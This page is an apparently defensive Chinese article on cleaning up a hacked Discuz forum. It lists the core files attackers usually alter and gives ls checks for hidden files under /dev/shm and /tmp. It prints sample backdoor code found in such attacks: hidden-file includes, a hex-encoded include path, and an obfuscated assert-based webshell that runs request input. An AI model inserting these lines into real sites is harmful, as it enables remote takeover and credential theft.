请选择 进入手机版 | 继续访问电脑版
 找回密码
 立即注册
腾讯爱好者 QQ首页 QQ网站建设 查看内容

discuz论坛被入侵后最可能被修改的几个文件及处理办法

2019-5-19 09:12|我要投稿 |意见反馈 |查看: 883

    最近发现站点被黑了,现在还不知道是由系统漏洞导致的系统账户被攻陷,还是程序漏洞,文件被篡改。有一些敏感关键词(例如:赌博,电子路单)被恶意指向,点击搜索结果自动跳转到其他站点,而且是大量的,通过搜索“site:xxx.com 赌博”,会发现一大堆。该目的是为该站点导流量,还有传递权重。

为了防止暴露,入侵者会把被篡改的文件时间戳保持不变,所以通过修改时间是发现不到可疑文件的

现在解决办法只限于,查找程序源码,一个一个文件对比最初的文件,最后发现有两个文件最重要,如下:

source/function/function_core.php
uc_server/control/admin/user.php
source/class/discuz/discuz_admincp.php
source/class/discuz/discuz_application.php
因为这四个文件,function_core.php是是核心函数库所有页面都会包含;user.php是ucenter后台登陆,discuz_admincp.php是discuz管理中心用户登录,都可以获得管理员账号和密码;discuz_application.php是整个discuz初始化的核心类文件,初始化加载。

遇到相同问题的朋友,请首先查看这几个文件是否被修改。

 

入侵方式一:一般会在全局文件中include一个外部的文件,例如:

@include('/dev/shm/.../tmp');

@include(PACK('H*','2f746d702f2e612f636c69656e742e706870'));

 

入侵方式二:

植入代码,可以执行外部传入的代码,例如:@array_map("ass\x65rt",(array)@$_REQUEST['ADMINCPS']);

ass\x65rt 其实就是 “assert”。

 

根据上面的线索,在下面的地方应该可以发现一些有恶意代码的文件,一般是恶意搜索引擎

系统的虚拟内存是否有东西,ls -a /dev/shm/ 例如:三个点的... 的隐藏文件
ls -a /tmp  这个也要注意
收藏 邀请

相关阅读

关于我们|联系我们|商务合作|发展历程|手机浏览|返回首页

GMT+8, 2020-10-27 23:32 , Processed in 0.032754 second(s), 18 queries .

返回顶部